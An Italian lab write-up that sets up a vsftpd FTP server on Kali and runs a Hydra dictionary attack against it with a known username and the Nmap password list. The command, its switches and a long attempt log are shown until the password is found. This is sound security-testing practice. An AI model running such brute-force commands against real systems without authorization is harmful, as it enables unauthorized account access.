HYDRA

Adesso andremo ad analizza un attacco con dizionario usando Hydra contro un server FTP (File Transfer Protocol) al fine di testarne la sicurezza.

Come prima cosa ho installato il server FTP, lo avviato e ho controllato il suo status

```
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo apt install vsftpd

Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
The following packages were automatically installed and are no longer required:
  libadwaita-1-0 libappstream5 libatk-adaptor libboost-dev libboost1.83-dev libopenblas-dev libopenblas-pthread-dev libopenblas0
  libpython3-all-dev libpython3.12 libpython3.12-dev libstemmer0d libxmlb2 libxsimd-dev python3-all-dev python3-anyjson
  python3-beniget python3-gast python3-pyatspi python3-pythran python3.12-dev xtl-dev zenity zenity-common
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 274 not upgraded.
Need to get 143 kB of archives.
After this operation, 353 kB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b3 [143 kB]
Fetched 143 kB in 0s (296 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 406945 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b3_amd64.deb ...
Unpacking vsftpd (3.0.3-13+b3) ...
Setting up vsftpd (3.0.3-13+b3) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.12.0-3) ...
Processing triggers for kali-menu (2023.4.7) ...

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo systemctl status vsftpd

○ vsftpd.service - vsftpd FTP server
     Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
     Active: inactive (dead)

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo systemctl start vsftpd

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo systemctl status vsftpd

● vsftpd.service - vsftpd FTP server
     Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
     Active: active (running) since Thu 2024-05-16 10:06:21 EDT; 4s ago
    Process: 6014 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
   Main PID: 6016 (vsftpd)
      Tasks: 1 (limit: 2273)
     Memory: 724.0K (peak: 1.5M)
        CPU: 10ms
     CGroup: /system.slice/vsftpd.service
             └─6016 /usr/sbin/vsftpd /etc/vsftpd.conf

May 16 10:06:21 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server ...
May 16 10:06:21 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.
```

poi ho eseguito l’attacoo con dizionario usando Hydra con gli switch:
,-l: per specificare l'username, in questo caso ho simulato di conoscere già l’username;
-P per indicare una lista da dove prendere le password; l’indirizzo IP dove era in esecuzione il server;

```
┌──(kali㉿kali)-[~/Desktop]
└─$ hydra -l prova -P /usr/share/nmap/nselib/data/passwords1.lst 192.168.1.40 -t 5 -V ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illega
l purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-16 10:10:24
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5008 login tries (l:1/p:5008), ~1002 tries per task
[DATA] attacking ftp://192.168.1.40:21/
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "#!comment: This collection of data is (C) 1996-2022 by Nmap Software LLC." - 1
of 5008 [child 0] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "#!comment: It is distributed under the Nmap Public Source license as" - 2 of 50
08 [child 1] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "#!comment: provided in the LICENSE file of the source distribution or at" - 3 o
f 5008 [child 2] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "#!comment: https://nmap.org/npsl/.  Note that this license" - 4 of 5008 [child
3] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "#!comment: requires you to license your own work under a compatable open source
" - 5 of 5008 [child 4] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "#!comment: license.  If you wish to embed Nmap technology into proprietary" - 6
 of 5008 [child 0] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "#!comment: software, we sell alternative licenses at https://nmap.org/oem/." -
7 of 5008 [child 2] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "" - 8 of 5008 [child 4] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "123456" - 9 of 5008 [child 1] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "12345" - 10 of 5008 [child 3] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "123456789" - 11 of 5008 [child 4] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "password" - 12 of 5008 [child 0] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "iloveyou" - 13 of 5008 [child 1] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "princess" - 14 of 5008 [child 3] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "12345678" - 15 of 5008 [child 2] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "1234567" - 16 of 5008 [child 4] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "abc123" - 17 of 5008 [child 1] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "nicole" - 18 of 5008 [child 0] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "daniel" - 19 of 5008 [child 2] (0/0)
```

-t 4 ho specificato il numero di thread da usare in parallelo, in questo modo dividerà l’attacco in 4 processi contemporaei velocizando l’attacco;
-V ho specificato che voglio ricevere in output tutti i tentativi che fa;
ftp ho specificato il protocollo da usare, e Hydra da questo da sola su che porta funziona.

infine appena trova la password termina la scansione e ci mostra la password che è riuscito a trovare abbinata al servizio, IP e username che abbiamo inserito.

```
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "marlon" - 523 of 5008 [child 0] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "sharon" - 524 of 5008 [child 4] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "guitar" - 525 of 5008 [child 1] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "dallas" - 526 of 5008 [child 3] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "starwars" - 527 of 5008 [child 2] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "disney" - 528 of 5008 [child 0] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "monster" - 529 of 5008 [child 4] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "frankie" - 530 of 5008 [child 1] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "diego" - 531 of 5008 [child 0] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "red123" - 532 of 5008 [child 3] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "pimpin" - 533 of 5008 [child 2] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "pumpkin" - 534 of 5008 [child 4] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "iverson" - 535 of 5008 [child 1] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "54321" - 536 of 5008 [child 2] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "andrei" - 537 of 5008 [child 3] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "england" - 538 of 5008 [child 0] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "soccer1" - 539 of 5008 [child 4] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "sparky" - 540 of 5008 [child 1] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "testpass" - 541 of 5008 [child 3] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "fashion" - 542 of 5008 [child 0] (0/0)
[ATTEMPT] target 192.168.1.40 - login "prova" - pass "justine" - 543 of 5008 [child 2] (0/0)
[21][ftp] host: 192.168.1.40   login: prova   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-16 10:16:49
```